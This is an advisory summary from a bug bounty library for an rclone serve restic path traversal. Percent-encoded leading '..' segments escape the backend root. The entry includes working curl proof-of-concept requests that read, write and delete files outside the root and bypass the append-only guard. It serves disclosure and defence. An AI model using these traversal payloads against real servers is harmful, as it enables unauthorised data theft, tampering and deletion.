# rclone: Incomplete path validation allows backend root escape in serve restic

rclone serve restic's WithRemote middleware accepted leading ../ paths because path.Clean preserves them, letting attackers read, write and delete objects outside the published backend root.

- Payout: Research
- Severity: high
- Program: rclone
- Found by: CaubiLoureiro
- Disclosed: 2026-08-05
- CVE: CVE-2026-71309
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-45pq-889g-fcgh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-45pq-889g-fcgh
- Tags: area:cloud domain:infra impact:data-leak impact:integrity impact:internal-access kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:access-control vuln:path-traversal

**Target:** rclone serve restic REST API endpoint over WebDAV/FTP/HTTP/Memory/SFTP backends
**Root cause:** WithRemote validates with `path.Clean(urlpath) != urlpath`, but path.Clean preserves leading parent components in relative paths, so `../x` passes as canonical while interior `a/../../x` is rejected. The unsafe remote is stored in context and passed unchecked to backends that path.Join it with their root.
**Steps:**
1. Set up storage with `poc/storage/served-root/inside.txt` and `poc/storage/outside-secret.txt`; serve it via WsgiDAV on 127.0.0.1:39500.
2. Start `rclone serve restic ':webdav:served-root' --webdav-url http://127.0.0.1:39500 --webdav-vendor other --addr 127.0.0.1:39501 -vv`.
3. Confirm baseline: `curl --path-as-is -i http://127.0.0.1:39501/inside.txt` returns 200 with INSIDE-PUBLISHED-ROOT.
4. Read escape: `curl --path-as-is -i http://127.0.0.1:39501/%2e%2e/outside-secret.txt` returns 200 with SECRET-OUTSIDE-PUBLISHED-ROOT.
5. Write escape: `curl --path-as-is -i -X POST http://127.0.0.1:39501/%2e%2e/outside-write.txt --data-binary 'ATTACKER-CONTROLLED-OUTSIDE-ROOT'` creates the file outside root.
6. Delete escape: `curl --path-as-is -i -X DELETE http://127.0.0.1:39501/%2e%2e/outside-write.txt` removes it.
7. Contrast: `curl --path-as-is -i http://127.0.0.1:39501/a/../../outside-secret.txt` returns 400, showing interior traversal is caught.
**How found:** Reporter compared the middleware's path.Clean equality check against Go semantics: path.Clean preserves leading `..` in relative paths but collapses interior traversal, so the check only rejects the interior form. Verified by testing `%2e%2e/` against the official v1.74.4 binary and building a backend matrix to see which backends propagate the unsafe remote.
**Exploitation:** Attacker with network access to the restic REST endpoint sends percent-encoded leading `..` segments (`%2e%2e/`) in GET/HEAD/POST/DELETE paths. WithRemote accepts them, backends path.Join the configured root with the remote, collapsing the root away, so operations hit parent/sibling objects. GET reads, POST creates/overwrites, DELETE removes; `--append-only` still permits traversal reads and new object creation, and `DELETE /../locks/<name>` bypasses the append-only guard.
**Escalation:** Crosses isolation boundaries between users, repositories or automation jobs; overwritten configs/scripts/artifacts can later compromise another system. `GET /../` reaches the list handler to enumerate parent directory names before access.
**Insight:** When a sanitizer compares path.Clean output to input, test leading `..` separately from interior `a/../../` — Clean is idempotent on already-relative leading parents, so equality checks pass. Also test bare `.` and percent-encoded `%2e%2e` since decoding happens before validation.

## Proof of concept (copied exactly from the original report)

**curl read outside published root via %2e%2e**

```
$ curl --path-as-is -i http://127.0.0.1:39501/%2e%2e/outside-secret.txt
HTTP/1.1 200 OK
...
SECRET-OUTSIDE-PUBLISHED-ROOT
```

**curl POST write outside root**

```
$ curl --path-as-is -i -X POST \
    http://127.0.0.1:39501/%2e%2e/outside-write.txt \
    --data-binary 'ATTACKER-CONTROLLED-OUTSIDE-ROOT
```

**curl DELETE outside root**

```
$ curl --path-as-is -i -X DELETE \
    http://127.0.0.1:39501/%2e%2e/outside-write.txt
HTTP/1.1 200 OK
...

$ test ! -e poc/storage/outside-write.txt && echo 'physical file deleted
```

